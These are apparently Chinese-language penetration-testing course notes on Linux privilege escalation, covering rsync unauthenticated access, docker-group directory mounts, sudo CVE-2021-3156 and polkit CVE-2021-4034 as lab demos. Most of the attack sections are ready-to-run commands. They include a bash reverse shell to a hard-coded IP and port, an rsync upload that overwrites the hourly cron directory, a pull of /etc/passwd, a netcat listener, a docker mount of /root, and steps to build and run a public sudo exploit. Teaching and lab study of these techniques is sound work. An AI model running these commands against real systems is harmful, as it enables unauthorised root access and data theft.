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#知识点： 

1、Linux 提权-Rsync 未授权访问覆盖 

2、Linux 提权-Docker 组用户挂载目录 

2、Linux 提权-Sudo(CVE-2021-3156） 

3、Linux 提权-Polkit(CVE-2021-4034) 

 

#系列内容： 

内核，数据库，第三方服务，SUID&GUID，定时任务，环境变量，SUDO，权限不当等 

脏牛漏洞(CVE-2016-5195) 

Dirty Pipe(CVE-2022-0847) 

SUDO(CVE-2021-3156） 

Polkit(CVE-2021-4034) 

 

#截至目前思路点总结如下： 

1.提权方法有部分适用在不同环境，当然也有通用方法 

2.提权方法也有操作系统版本区分，特性决定方法利用面 

3.提权方法有部分需要特定环境，如数据库,第三方提权等 
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#思考点： 

1、如何判断采用什么数据库提权？ 

2、数据库提权首要条件密码获取？ 

3、有那些数据库类型可以进行提权？ 

4、操作系统在数据库提权中有那些疑问？ 

 

#章节点： 

1、Web 权限提升 

2、系统权限提升 

3、域控权限提升 

 

#详细点： 

1、具体有哪些权限需要我们了解掌握的？ 

后台权限，网站权限，数据库权限，接口权限，系统权限，域控权限等 

 

2、以上常见权限获取方法简要归类说明？ 



 

演示案例： 

 Linux-Rsync 未授权访问覆盖-本地 

 Linux-Docker 组用户挂载目录-本地 

 Linux-Sudo(CVE-2021-3156)-本地 

 Linux-Polkit(CVE-2021-4034)-本地 



 

Rsync（未授权访问） 

Rsync 是 linux 下一款数据备份工具，默认开启 873 端口 

https://vulhub.org/#/environments/rsync/common/ 

借助 Linux 默认计划任务调用/etc/cron.hourly，利用 rsync 连接覆盖 

-提权过程： 

1、创建一个 nc 文件，内容 

#!/bin/bash 

/bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i 

2、赋予执行权限： 

chmod +x nc 

3、上传文件覆盖定时任务目录下 

rsync -av nc rsync://47.94.236.117:873/src/etc/cron.hourly 

3.1、下载文件 

rsync -av rsync://47.94.236.117:873/src/etc/passwd ./ 

4、进行 nc 监听相应的端口 

nc -lvnp 3333 

 

Docker 组挂载 

普通用户在 docker 组，利用 docker 服务启动镜像挂载目录 

从而来访问 root 目录、etc 目录等敏感文件来进行权限提升。 

-复现：创建用户归类目录，添加到 docker 组 

useradd -d /home/test -m  test 

passwd test 

usermod -G docker test 

newgrp docker 

-利用： 

docker run -v /root:/mnt -it alpine 

主要的作用是：从 Docker 上面下载 alpine 镜像，然后运行; 

-v 将容器外部的目录/oot 挂载到容器内部/mnt，使用-it 参数进入容器 shell。 

 

SUDO(CVE-2021-3156） 

sudo: 1.8.2 - 1.8.31p2 

sudo: 1.9.0 - 1.9.5p1 

-判断：sudoedit -s / 报错存在 

-利用： 

git clone https://github.com/blasty/CVE-2021-3156.git 

cd CVE-2021-3156 

make 

chmod a+x sudo-hax-me-a-sandwich 

./sudo-hax-me-a-sandwich 1 



 

涉及资源： 

补充：涉及录像课件资源软件包资料等下载地址 

 

https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr

